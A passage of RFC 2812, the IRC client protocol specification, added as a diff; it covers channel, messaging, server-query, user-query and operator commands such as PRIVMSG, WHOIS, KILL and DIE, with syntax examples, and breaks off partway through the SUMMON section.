+                                   set for the channel "#meditation".
+
+   MODE !12345ircd O               ; Command to ask who the channel
+                                   creator for "!12345ircd" is
+
+3.2.4 Topic message
+
+      Command: TOPIC
+   Parameters: <channel> [ <topic> ]
+
+   The TOPIC command is used to change or view the topic of a channel.
+   The topic for channel <channel> is returned if there is no <topic>
+   given.  If the <topic> parameter is present, the topic for that
+   channel will be changed, if this action is allowed for the user
+   requesting it.  If the <topic> parameter is an empty string, the
+   topic for that channel will be removed.
+
+
+
+
+
+
+Kalt                         Informational                     [Page 19]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_NOTONCHANNEL
+           RPL_NOTOPIC                     RPL_TOPIC
+           ERR_CHANOPRIVSNEEDED            ERR_NOCHANMODES
+
+   Examples:
+
+   :WiZ!jto@tolsun.oulu.fi TOPIC #test :New topic ; User Wiz setting the
+                                   topic.
+
+   TOPIC #test :another topic      ; Command to set the topic on #test
+                                   to "another topic".
+
+   TOPIC #test :                   ; Command to clear the topic on
+                                   #test.
+
+   TOPIC #test                     ; Command to check the topic for
+                                   #test.
+
+3.2.5 Names message
+
+      Command: NAMES
+   Parameters: [ <channel> *( "," <channel> ) [ <target> ] ]
+
+   By using the NAMES command, a user can list all nicknames that are
+   visible to him. For more details on what is visible and what is not,
+   see "Internet Relay Chat: Channel Management" [IRC-CHAN].  The
+   <channel> parameter specifies which channel(s) to return information
+   about.  There is no error reply for bad channel names.
+
+   If no <channel> parameter is given, a list of all channels and their
+   occupants is returned.  At the end of this list, a list of users who
+   are visible but either not on any channel or not on a visible channel
+   are listed as being on `channel' "*".
+
+   If the <target> parameter is specified, the request is forwarded to
+   that server which will generate the reply.
+
+   Wildcards are allowed in the <target> parameter.
+
+   Numerics:
+
+           ERR_TOOMANYMATCHES              ERR_NOSUCHSERVER
+           RPL_NAMREPLY                    RPL_ENDOFNAMES
+
+
+
+
+
+
+Kalt                         Informational                     [Page 20]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Examples:
+
+   NAMES #twilight_zone,#42        ; Command to list visible users on
+                                   #twilight_zone and #42
+
+   NAMES                           ; Command to list all visible
+                                   channels and users
+
+3.2.6 List message
+
+      Command: LIST
+   Parameters: [ <channel> *( "," <channel> ) [ <target> ] ]
+
+   The list command is used to list channels and their topics.  If the
+   <channel> parameter is used, only the status of that channel is
+   displayed.
+
+   If the <target> parameter is specified, the request is forwarded to
+   that server which will generate the reply.
+
+   Wildcards are allowed in the <target> parameter.
+
+   Numeric Replies:
+
+           ERR_TOOMANYMATCHES              ERR_NOSUCHSERVER
+           RPL_LIST                        RPL_LISTEND
+
+   Examples:
+
+   LIST                            ; Command to list all channels.
+
+   LIST #twilight_zone,#42         ; Command to list channels
+                                   #twilight_zone and #42
+
+3.2.7 Invite message
+
+      Command: INVITE
+   Parameters: <nickname> <channel>
+
+   The INVITE command is used to invite a user to a channel.  The
+   parameter <nickname> is the nickname of the person to be invited to
+   the target channel <channel>.  There is no requirement that the
+   channel the target user is being invited to must exist or be a valid
+   channel.  However, if the channel exists, only members of the channel
+   are allowed to invite other users.  When the channel has invite-only
+   flag set, only channel operators may issue INVITE command.
+
+
+
+
+
+Kalt                         Informational                     [Page 21]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Only the user inviting and the user being invited will receive
+   notification of the invitation.  Other channel members are not
+   notified.  (This is unlike the MODE changes, and is occasionally the
+   source of trouble for users.)
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_NOSUCHNICK
+           ERR_NOTONCHANNEL                ERR_USERONCHANNEL
+           ERR_CHANOPRIVSNEEDED
+           RPL_INVITING                    RPL_AWAY
+
+   Examples:
+
+   :Angel!wings@irc.org INVITE Wiz #Dust
+
+                                   ; Message to WiZ when he has been
+                                   invited by user Angel to channel
+                                   #Dust
+
+   INVITE Wiz #Twilight_Zone       ; Command to invite WiZ to
+                                   #Twilight_zone
+
+3.2.8 Kick command
+
+      Command: KICK
+   Parameters: <channel> *( "," <channel> ) <user> *( "," <user> )
+               [<comment>]
+
+   The KICK command can be used to request the forced removal of a user
+   from a channel.  It causes the <user> to PART from the <channel> by
+   force.  For the message to be syntactically correct, there MUST be
+   either one channel parameter and multiple user parameter, or as many
+   channel parameters as there are user parameters.  If a "comment" is
+   given, this will be sent instead of the default message, the nickname
+   of the user issuing the KICK.
+
+   The server MUST NOT send KICK messages with multiple channels or
+   users to clients.  This is necessarily to maintain backward
+   compatibility with old client software.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS              ERR_NOSUCHCHANNEL
+           ERR_BADCHANMASK                 ERR_CHANOPRIVSNEEDED
+           ERR_USERNOTINCHANNEL            ERR_NOTONCHANNEL
+
+
+
+
+
+Kalt                         Informational                     [Page 22]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Examples:
+
+   KICK &Melbourne Matthew         ; Command to kick Matthew from
+                                   &Melbourne
+
+   KICK #Finnish John :Speaking English
+                                   ; Command to kick John from #Finnish
+                                   using "Speaking English" as the
+                                   reason (comment).
+
+   :WiZ!jto@tolsun.oulu.fi KICK #Finnish John
+                                   ; KICK message on channel #Finnish
+                                   from WiZ to remove John from channel
+
+3.3 Sending messages
+
+   The main purpose of the IRC protocol is to provide a base for clients
+   to communicate with each other.  PRIVMSG, NOTICE and SQUERY
+   (described in Section 3.5 on Service Query and Commands) are the only
+   messages available which actually perform delivery of a text message
+   from one client to another - the rest just make it possible and try
+   to ensure it happens in a reliable and structured manner.
+
+3.3.1 Private messages
+
+      Command: PRIVMSG
+   Parameters: <msgtarget> <text to be sent>
+
+   PRIVMSG is used to send private messages between users, as well as to
+   send messages to channels.  <msgtarget> is usually the nickname of
+   the recipient of the message, or a channel name.
+
+   The <msgtarget> parameter may also be a host mask (#<mask>) or server
+   mask ($<mask>).  In both cases the server will only send the PRIVMSG
+   to those who have a server or host matching the mask.  The mask MUST
+   have at least 1 (one) "." in it and no wildcards following the last
+   ".".  This requirement exists to prevent people sending messages to
+   "#*" or "$*", which would broadcast to all users.  Wildcards are the
+   '*' and '?'  characters.  This extension to the PRIVMSG command is
+   only available to operators.
+
+   Numeric Replies:
+
+           ERR_NORECIPIENT                 ERR_NOTEXTTOSEND
+           ERR_CANNOTSENDTOCHAN            ERR_NOTOPLEVEL
+           ERR_WILDTOPLEVEL                ERR_TOOMANYTARGETS
+           ERR_NOSUCHNICK
+           RPL_AWAY
+
+
+
+Kalt                         Informational                     [Page 23]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Examples:
+
+   :Angel!wings@irc.org PRIVMSG Wiz :Are you receiving this message ?
+                                   ; Message from Angel to Wiz.
+
+   PRIVMSG Angel :yes I'm receiving it !
+                                   ; Command to send a message to Angel.
+
+   PRIVMSG jto@tolsun.oulu.fi :Hello !
+                                   ; Command to send a message to a user
+                                   on server tolsun.oulu.fi with
+                                   username of "jto".
+
+   PRIVMSG kalt%millennium.stealth.net@irc.stealth.net :Are you a frog?
+                                   ; Message to a user on server
+                                   irc.stealth.net with username of
+                                   "kalt", and connected from the host
+                                   millennium.stealth.net.
+
+   PRIVMSG kalt%millennium.stealth.net :Do you like cheese?
+                                   ; Message to a user on the local
+                                   server with username of "kalt", and
+                                   connected from the host
+                                   millennium.stealth.net.
+
+   PRIVMSG Wiz!jto@tolsun.oulu.fi :Hello !
+                                   ; Message to the user with nickname
+                                   Wiz who is connected from the host
+                                   tolsun.oulu.fi and has the username
+                                   "jto".
+
+   PRIVMSG $*.fi :Server tolsun.oulu.fi rebooting.
+                                   ; Message to everyone on a server
+                                   which has a name matching *.fi.
+
+   PRIVMSG #*.edu :NSFNet is undergoing work, expect interruptions
+                                   ; Message to all users who come from
+                                   a host which has a name matching
+                                   *.edu.
+
+3.3.2 Notice
+
+      Command: NOTICE
+   Parameters: <msgtarget> <text>
+
+   The NOTICE command is used similarly to PRIVMSG.  The difference
+   between NOTICE and PRIVMSG is that automatic replies MUST NEVER be
+   sent in response to a NOTICE message.  This rule applies to servers
+
+
+
+Kalt                         Informational                     [Page 24]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   too - they MUST NOT send any error reply back to the client on
+   receipt of a notice.  The object of this rule is to avoid loops
+   between clients automatically sending something in response to
+   something it received.
+
+   This command is available to services as well as users.
+
+   This is typically used by services, and automatons (clients with
+   either an AI or other interactive program controlling their actions).
+
+   See PRIVMSG for more details on replies and examples.
+
+3.4 Server queries and commands
+
+   The server query group of commands has been designed to return
+   information about any server which is connected to the network.
+
+   In these queries, where a parameter appears as <target>, wildcard
+   masks are usually valid.  For each parameter, however, only one query
+   and set of replies is to be generated.  In most cases, if a nickname
+   is given, it will mean the server to which the user is connected.
+
+   These messages typically have little value for services, it is
+   therefore RECOMMENDED to forbid services from using them.
+
+3.4.1 Motd message
+
+      Command: MOTD
+   Parameters: [ <target> ]
+
+   The MOTD command is used to get the "Message Of The Day" of the given
+   server, or current server if <target> is omitted.
+
+   Wildcards are allowed in the <target> parameter.
+
+   Numeric Replies:
+           RPL_MOTDSTART                   RPL_MOTD
+           RPL_ENDOFMOTD                   ERR_NOMOTD
+
+3.4.2 Lusers message
+
+      Command: LUSERS
+   Parameters: [ <mask> [ <target> ] ]
+
+   The LUSERS command is used to get statistics about the size of the
+   IRC network.  If no parameter is given, the reply will be about the
+   whole net.  If a <mask> is specified, then the reply will only
+
+
+
+
+Kalt                         Informational                     [Page 25]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   concern the part of the network formed by the servers matching the
+   mask.  Finally, if the <target> parameter is specified, the request
+   is forwarded to that server which will generate the reply.
+
+   Wildcards are allowed in the <target> parameter.
+
+   Numeric Replies:
+
+           RPL_LUSERCLIENT                 RPL_LUSEROP
+           RPL_LUSERUNKOWN                 RPL_LUSERCHANNELS
+           RPL_LUSERME                     ERR_NOSUCHSERVER
+
+3.4.3 Version message
+
+      Command: VERSION
+   Parameters: [ <target> ]
+
+   The VERSION command is used to query the version of the server
+   program.  An optional parameter <target> is used to query the version
+   of the server program which a client is not directly connected to.
+
+   Wildcards are allowed in the <target> parameter.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER                RPL_VERSION
+
+   Examples:
+
+   VERSION tolsun.oulu.fi          ; Command to check the version of
+                                   server "tolsun.oulu.fi".
+
+3.4.4 Stats message
+
+      Command: STATS
+   Parameters: [ <query> [ <target> ] ]
+
+   The stats command is used to query statistics of certain server.  If
+   <query> parameter is omitted, only the end of stats reply is sent
+   back.
+
+   A query may be given for any single letter which is only checked by
+   the destination server and is otherwise passed on by intermediate
+   servers, ignored and unaltered.
+
+   Wildcards are allowed in the <target> parameter.
+
+
+
+
+
+Kalt                         Informational                     [Page 26]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Except for the ones below, the list of valid queries is
+   implementation dependent.  The standard queries below SHOULD be
+   supported by the server:
+
+            l - returns a list of the server's connections, showing how
+                long each connection has been established and the
+                traffic over that connection in Kbytes and messages for
+                each direction;
+            m - returns the usage count for each of commands supported
+                by the server; commands for which the usage count is
+                zero MAY be omitted;
+            o - returns a list of configured privileged users,
+                operators;
+            u - returns a string showing how long the server has been
+                up.
+
+   It is also RECOMMENDED that client and server access configuration be
+   published this way.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER
+           RPL_STATSLINKINFO                RPL_STATSUPTIME
+           RPL_STATSCOMMANDS                RPL_STATSOLINE
+           RPL_ENDOFSTATS
+
+   Examples:
+
+   STATS m                         ; Command to check the command usage
+                                   for the server you are connected to
+
+3.4.5 Links message
+
+      Command: LINKS
+   Parameters: [ [ <remote server> ] <server mask> ]
+
+   With LINKS, a user can list all servernames, which are known by the
+   server answering the query.  The returned list of servers MUST match
+   the mask, or if no mask is given, the full list is returned.
+
+   If <remote server> is given in addition to <server mask>, the LINKS
+   command is forwarded to the first server found that matches that name
+   (if any), and that server is then required to answer the query.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER
+           RPL_LINKS                        RPL_ENDOFLINKS
+
+
+
+Kalt                         Informational                     [Page 27]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Examples:
+
+   LINKS *.au                      ; Command to list all servers which
+                                   have a name that matches *.au;
+
+   LINKS *.edu *.bu.edu            ; Command to list servers matching
+                                   *.bu.edu as seen by the first server
+                                   matching *.edu.
+
+3.4.6 Time message
+
+      Command: TIME
+   Parameters: [ <target> ]
+
+   The time command is used to query local time from the specified
+   server. If the <target> parameter is not given, the server receiving
+   the command must reply to the query.
+
+   Wildcards are allowed in the <target> parameter.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER              RPL_TIME
+
+   Examples:
+   TIME tolsun.oulu.fi             ; check the time on the server
+                                   "tolson.oulu.fi"
+
+3.4.7 Connect message
+
+      Command: CONNECT
+   Parameters: <target server> <port> [ <remote server> ]
+
+   The CONNECT command can be used to request a server to try to
+   establish a new connection to another server immediately.  CONNECT is
+   a privileged command and SHOULD be available only to IRC Operators.
+   If a <remote server> is given and its mask doesn't match name of the
+   parsing server, the CONNECT attempt is sent to the first match of
+   remote server. Otherwise the CONNECT attempt is made by the server
+   processing the request.
+
+   The server receiving a remote CONNECT command SHOULD generate a
+   WALLOPS message describing the source and target of the request.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER              ERR_NOPRIVILEGES
+           ERR_NEEDMOREPARAMS
+
+
+
+Kalt                         Informational                     [Page 28]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Examples:
+
+   CONNECT tolsun.oulu.fi 6667     ; Command to attempt to connect local
+                                   server to tolsun.oulu.fi on port 6667
+
+3.4.8 Trace message
+
+      Command: TRACE
+   Parameters: [ <target> ]
+
+   TRACE command is used to find the route to specific server and
+   information about its peers.  Each server that processes this command
+   MUST report to the sender about it.  The replies from pass-through
+   links form a chain, which shows route to destination.  After sending
+   this reply back, the query MUST be sent to the next server until
+   given <target> server is reached.
+
+   TRACE command is used to find the route to specific server.  Each
+   server that processes this message MUST tell the sender about it by
+   sending a reply indicating it is a pass-through link, forming a chain
+   of replies.  After sending this reply back, it MUST then send the
+   TRACE message to the next server until given server is reached.  If
+   the <target> parameter is omitted, it is RECOMMENDED that TRACE
+   command sends a message to the sender telling which servers the local
+   server has direct connection to.
+
+   If the destination given by <target> is an actual server, the
+   destination server is REQUIRED to report all servers, services and
+   operators which are connected to it; if the command was issued by an
+   operator, the server MAY also report all users which are connected to
+   it.  If the destination given by <target> is a nickname, then only a
+   reply for that nickname is given.  If the <target> parameter is
+   omitted, it is RECOMMENDED that the TRACE command is parsed as
+   targeted to the processing server.
+
+   Wildcards are allowed in the <target> parameter.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER
+
+      If the TRACE message is destined for another server, all
+      intermediate servers must return a RPL_TRACELINK reply to indicate
+      that the TRACE passed through it and where it is going next.
+
+           RPL_TRACELINK
+
+
+
+
+
+Kalt                         Informational                     [Page 29]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+      A TRACE reply may be composed of any number of the following
+      numeric replies.
+
+           RPL_TRACECONNECTING           RPL_TRACEHANDSHAKE
+           RPL_TRACEUNKNOWN              RPL_TRACEOPERATOR
+           RPL_TRACEUSER                 RPL_TRACESERVER
+           RPL_TRACESERVICE              RPL_TRACENEWTYPE
+           RPL_TRACECLASS                RPL_TRACELOG
+           RPL_TRACEEND
+
+   Examples:
+
+   TRACE *.oulu.fi                 ; TRACE to a server matching
+                                   *.oulu.fi
+
+3.4.9 Admin command
+
+      Command: ADMIN
+   Parameters: [ <target> ]
+
+   The admin command is used to find information about the administrator
+   of the given server, or current server if <target> parameter is
+   omitted.  Each server MUST have the ability to forward ADMIN messages
+   to other servers.
+
+   Wildcards are allowed in the <target> parameter.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER
+           RPL_ADMINME                   RPL_ADMINLOC1
+           RPL_ADMINLOC2                 RPL_ADMINEMAIL
+
+   Examples:
+
+   ADMIN tolsun.oulu.fi            ; request an ADMIN reply from
+                                   tolsun.oulu.fi
+
+   ADMIN syrk                      ; ADMIN request for the server to
+                                   which the user syrk is connected
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 30]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+3.4.10 Info command
+
+      Command: INFO
+   Parameters: [ <target> ]
+
+   The INFO command is REQUIRED to return information describing the
+   server: its version, when it was compiled, the patchlevel, when it
+   was started, and any other miscellaneous information which may be
+   considered to be relevant.
+
+   Wildcards are allowed in the <target> parameter.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER
+           RPL_INFO                      RPL_ENDOFINFO
+
+   Examples:
+
+   INFO csd.bu.edu                 ; request an INFO reply from
+                                   csd.bu.edu
+
+   INFO Angel                      ; request info from the server that
+                                   Angel is connected to.
+
+3.5 Service Query and Commands
+
+   The service query group of commands has been designed to return
+   information about any service which is connected to the network.
+
+3.5.1 Servlist message
+
+      Command: SERVLIST
+   Parameters: [ <mask> [ <type> ] ]
+
+   The SERVLIST command is used to list services currently connected to
+   the network and visible to the user issuing the command.  The
+   optional parameters may be used to restrict the result of the query
+   (to matching services names, and services type).
+
+   Numeric Replies:
+
+           RPL_SERVLIST                  RPL_SERVLISTEND
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 31]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+3.5.2 Squery
+
+      Command: SQUERY
+   Parameters: <servicename> <text>
+
+   The SQUERY command is used similarly to PRIVMSG.  The only difference
+   is that the recipient MUST be a service.  This is the only way for a
+   text message to be delivered to a service.
+
+   See PRIVMSG for more details on replies and example.
+
+   Examples:
+
+   SQUERY irchelp :HELP privmsg
+                                   ; Message to the service with
+                                   nickname irchelp.
+
+   SQUERY dict@irc.fr :fr2en blaireau
+                                   ; Message to the service with name
+                                   dict@irc.fr.
+
+3.6 User based queries
+
+   User queries are a group of commands which are primarily concerned
+   with finding details on a particular user or group users.  When using
+   wildcards with any of these commands, if they match, they will only
+   return information on users who are 'visible' to you.  The visibility
+   of a user is determined as a combination of the user's mode and the
+   common set of channels you are both on.
+
+   Although services SHOULD NOT be using this class of message, they are
+   allowed to.
+
+3.6.1 Who query
+
+      Command: WHO
+   Parameters: [ <mask> [ "o" ] ]
+
+   The WHO command is used by a client to generate a query which returns
+   a list of information which 'matches' the <mask> parameter given by
+   the client.  In the absence of the <mask> parameter, all visible
+   (users who aren't invisible (user mode +i) and who don't have a
+   common channel with the requesting client) are listed.  The same
+   result can be achieved by using a <mask> of "0" or any wildcard which
+   will end up matching every visible user.
+
+   The <mask> passed to WHO is matched against users' host, server, real
+   name and nickname if the channel <mask> cannot be found.
+
+
+
+Kalt                         Informational                     [Page 32]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   If the "o" parameter is passed only operators are returned according
+   to the <mask> supplied.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER
+           RPL_WHOREPLY                  RPL_ENDOFWHO
+
+   Examples:
+
+   WHO *.fi                        ; Command to list all users who match
+                                   against "*.fi".
+
+   WHO jto* o                      ; Command to list all users with a
+                                   match against "jto*" if they are an
+                                   operator.
+
+3.6.2 Whois query
+
+      Command: WHOIS
+   Parameters: [ <target> ] <mask> *( "," <mask> )
+
+   This command is used to query information about particular user.
+   The server will answer this command with several numeric messages
+   indicating different statuses of each user which matches the mask (if
+   you are entitled to see them).  If no wildcard is present in the
+   <mask>, any information about that nick which you are allowed to see
+   is presented.
+
+   If the <target> parameter is specified, it sends the query to a
+   specific server.  It is useful if you want to know how long the user
+   in question has been idle as only local server (i.e., the server the
+   user is directly connected to) knows that information, while
+   everything else is globally known.
+
+   Wildcards are allowed in the <target> parameter.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER              ERR_NONICKNAMEGIVEN
+           RPL_WHOISUSER                 RPL_WHOISCHANNELS
+           RPL_WHOISCHANNELS             RPL_WHOISSERVER
+           RPL_AWAY                      RPL_WHOISOPERATOR
+           RPL_WHOISIDLE                 ERR_NOSUCHNICK
+           RPL_ENDOFWHOIS
+
+
+
+
+
+
+Kalt                         Informational                     [Page 33]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Examples:
+
+   WHOIS wiz                       ; return available user information
+                                   about nick WiZ
+
+   WHOIS eff.org trillian          ; ask server eff.org for user
+                                   information  about trillian
+
+3.6.3 Whowas
+
+      Command: WHOWAS
+   Parameters: <nickname> *( "," <nickname> ) [ <count> [ <target> ] ]
+
+   Whowas asks for information about a nickname which no longer exists.
+   This may either be due to a nickname change or the user leaving IRC.
+   In response to this query, the server searches through its nickname
+   history, looking for any nicks which are lexically the same (no wild
+   card matching here).  The history is searched backward, returning the
+   most recent entry first.  If there are multiple entries, up to
+   <count> replies will be returned (or all of them if no <count>
+   parameter is given).  If a non-positive number is passed as being
+   <count>, then a full search is done.
+
+   Wildcards are allowed in the <target> parameter.
+
+   Numeric Replies:
+
+           ERR_NONICKNAMEGIVEN           ERR_WASNOSUCHNICK
+           RPL_WHOWASUSER                RPL_WHOISSERVER
+           RPL_ENDOFWHOWAS
+
+   Examples:
+
+   WHOWAS Wiz                      ; return all information in the nick
+                                   history about nick "WiZ";
+
+   WHOWAS Mermaid 9                ; return at most, the 9 most recent
+                                   entries in the nick history for
+                                   "Mermaid";
+
+   WHOWAS Trillian 1 *.edu         ; return the most recent history for
+                                   "Trillian" from the first server
+                                   found to match "*.edu".
+
+3.7 Miscellaneous messages
+
+   Messages in this category do not fit into any of the above categories
+   but are nonetheless still a part of and REQUIRED by the protocol.
+
+
+
+Kalt                         Informational                     [Page 34]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+3.7.1 Kill message
+
+      Command: KILL
+   Parameters: <nickname> <comment>
+
+   The KILL command is used to cause a client-server connection to be
+   closed by the server which has the actual connection.  Servers
+   generate KILL messages on nickname collisions.  It MAY also be
+   available available to users who have the operator status.
+
+   Clients which have automatic reconnect algorithms effectively make
+   this command useless since the disconnection is only brief.  It does
+   however break the flow of data and can be used to stop large amounts
+   of 'flooding' from abusive users or accidents.  Abusive users usually
+   don't care as they will reconnect promptly and resume their abusive
+   behaviour.  To prevent this command from being abused, any user may
+   elect to receive KILL messages generated for others to keep an 'eye'
+   on would be trouble spots.
+
+   In an arena where nicknames are REQUIRED to be globally unique at all
+   times, KILL messages are sent whenever 'duplicates' are detected
+   (that is an attempt to register two users with the same nickname) in
+   the hope that both of them will disappear and only 1 reappear.
+
+   When a client is removed as the result of a KILL message, the server
+   SHOULD add the nickname to the list of unavailable nicknames in an
+   attempt to avoid clients to reuse this name immediately which is
+   usually the pattern of abusive behaviour often leading to useless
+   "KILL loops".  See the "IRC Server Protocol" document [IRC-SERVER]
+   for more information on this procedure.
+
+   The comment given MUST reflect the actual reason for the KILL.  For
+   server-generated KILLs it usually is made up of details concerning
+   the origins of the two conflicting nicknames.  For users it is left
+   up to them to provide an adequate reason to satisfy others who see
+   it.  To prevent/discourage fake KILLs from being generated to hide
+   the identify of the KILLer, the comment also shows a 'kill-path'
+   which is updated by each server it passes through, each prepending
+   its name to the path.
+
+   Numeric Replies:
+
+           ERR_NOPRIVILEGES              ERR_NEEDMOREPARAMS
+           ERR_NOSUCHNICK                ERR_CANTKILLSERVER
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 35]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   NOTE:
+   It is RECOMMENDED that only Operators be allowed to kill other users
+   with KILL command.  This command has been the subject of many
+   controversies over the years, and along with the above
+   recommendation, it is also widely recognized that not even operators
+   should be allowed to kill users on remote servers.
+
+3.7.2 Ping message
+
+      Command: PING
+   Parameters: <server1> [ <server2> ]
+
+   The PING command is used to test the presence of an active client or
+   server at the other end of the connection.  Servers send a PING
+   message at regular intervals if no other activity detected coming
+   from a connection.  If a connection fails to respond to a PING
+   message within a set amount of time, that connection is closed.  A
+   PING message MAY be sent even if the connection is active.
+
+   When a PING message is received, the appropriate PONG message MUST be
+   sent as reply to <server1> (server which sent the PING message out)
+   as soon as possible.  If the <server2> parameter is specified, it
+   represents the target of the ping, and the message gets forwarded
+   there.
+
+   Numeric Replies:
+
+           ERR_NOORIGIN                  ERR_NOSUCHSERVER
+
+   Examples:
+
+   PING tolsun.oulu.fi             ; Command to send a PING message to
+                                   server
+
+   PING WiZ tolsun.oulu.fi         ; Command from WiZ to send a PING
+                                   message to server "tolsun.oulu.fi"
+
+   PING :irc.funet.fi              ; Ping message sent by server
+                                   "irc.funet.fi"
+
+
+
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 36]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+3.7.3 Pong message
+
+      Command: PONG
+   Parameters: <server> [ <server2> ]
+
+   PONG message is a reply to ping message.  If parameter <server2> is
+   given, this message MUST be forwarded to given target.  The <server>
+   parameter is the name of the entity who has responded to PING message
+   and generated this message.
+
+   Numeric Replies:
+
+           ERR_NOORIGIN                  ERR_NOSUCHSERVER
+
+   Example:
+
+   PONG csd.bu.edu tolsun.oulu.fi  ; PONG message from csd.bu.edu to
+                                   tolsun.oulu.fi
+
+3.7.4 Error
+
+      Command: ERROR
+   Parameters: <error message>
+
+   The ERROR command is for use by servers when reporting a serious or
+   fatal error to its peers.  It may also be sent from one server to
+   another but MUST NOT be accepted from any normal unknown clients.
+
+   Only an ERROR message SHOULD be used for reporting errors which occur
+   with a server-to-server link.  An ERROR message is sent to the server
+   at the other end (which reports it to appropriate local users and
+   logs) and to appropriate local users and logs.  It is not to be
+   passed onto any other servers by a server if it is received from a
+   server.
+
+   The ERROR message is also used before terminating a client
+   connection.
+
+   When a server sends a received ERROR message to its operators, the
+   message SHOULD be encapsulated inside a NOTICE message, indicating
+   that the client was not responsible for the error.
+
+   Numerics:
+
+           None.
+
+
+
+
+
+
+Kalt                         Informational                     [Page 37]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Examples:
+
+   ERROR :Server *.fi already exists ; ERROR message to the other server
+                                   which caused this error.
+
+   NOTICE WiZ :ERROR from csd.bu.edu -- Server *.fi already exists
+                                   ; Same ERROR message as above but
+                                   sent to user WiZ on the other server.
+
+4. Optional features
+
+   This section describes OPTIONAL messages.  They are not required in a
+   working server implementation of the protocol described herein.  In
+   the absence of the feature, an error reply message MUST be generated
+   or an unknown command error.  If the message is destined for another
+   server to answer then it MUST be passed on (elementary parsing
+   REQUIRED) The allocated numerics for this are listed with the
+   messages below.
+
+   From this section, only the USERHOST and ISON messages are available
+   to services.
+
+4.1 Away
+
+      Command: AWAY
+   Parameters: [ <text> ]
+
+   With the AWAY command, clients can set an automatic reply string for
+   any PRIVMSG commands directed at them (not to a channel they are on).
+   The server sends an automatic reply to the client sending the PRIVMSG
+   command.  The only replying server is the one to which the sending
+   client is connected to.
+
+   The AWAY command is used either with one parameter, to set an AWAY
+   message, or with no parameters, to remove the AWAY message.
+
+   Because of its high cost (memory and bandwidth wise), the AWAY
+   message SHOULD only be used for client-server communication.  A
+   server MAY choose to silently ignore AWAY messages received from
+   other servers.  To update the away status of a client across servers,
+   the user mode 'a' SHOULD be used instead.  (See Section 3.1.5)
+
+   Numeric Replies:
+
+           RPL_UNAWAY                    RPL_NOWAWAY
+
+
+
+
+
+
+Kalt                         Informational                     [Page 38]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Example:
+
+   AWAY :Gone to lunch.  Back in 5 ; Command to set away message to
+                                   "Gone to lunch.  Back in 5".
+
+4.2 Rehash message
+
+      Command: REHASH
+   Parameters: None
+
+   The rehash command is an administrative command which can be used by
+   an operator to force the server to re-read and process its
+   configuration file.
+
+   Numeric Replies:
+
+           RPL_REHASHING                 ERR_NOPRIVILEGES
+
+
+   Example:
+
+   REHASH                          ; message from user with operator
+                                   status to server asking it to reread
+                                   its configuration file.
+
+4.3 Die message
+
+      Command: DIE
+   Parameters: None
+
+   An operator can use the DIE command to shutdown the server.  This
+   message is optional since it may be viewed as a risk to allow
+   arbitrary people to connect to a server as an operator and execute
+   this command.
+
+   The DIE command MUST always be fully processed by the server to which
+   the sending client is connected and MUST NOT be passed onto other
+   connected servers.
+
+   Numeric Replies:
+
+           ERR_NOPRIVILEGES
+
+   Example:
+
+   DIE                             ; no parameters required.
+
+
+
+
+
+Kalt                         Informational                     [Page 39]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+4.4 Restart message
+
+      Command: RESTART
+   Parameters: None
+
+   An operator can use the restart command to force the server to
+   restart itself.  This message is optional since it may be viewed as a
+   risk to allow arbitrary people to connect to a server as an operator
+   and execute this command, causing (at least) a disruption to service.
+
+   The RESTART command MUST always be fully processed by the server to
+   which the sending client is connected and MUST NOT be passed onto
+   other connected servers.
+
+   Numeric Replies:
+
+           ERR_NOPRIVILEGES
+
+   Example:
+
+   RESTART                         ; no parameters required.
+
+4.5 Summon message
+
+      Command: SUMMON
+   Parameters: <user> [ <target> [ <channel> ] ]
+
+   The SUMMON command can be used to give users who are on a host
+   running an IRC server a message asking them to please join IRC.  This
+   message is only sent if the target server (a) has SUMMON enabled, (b)
+   the user is logged in and (c) the server process can write to the
+   user's tty (or similar).
+
+   If no <server> parameter is given it tries to summon <user> from the
+   server the client is connected to is assumed as the target.
+
+   If summon is not enabled in a server, it MUST return the
+   ERR_SUMMONDISABLED numeric.
+
+   Numeric Replies:
+
+           ERR_NORECIPIENT               ERR_FILEERROR
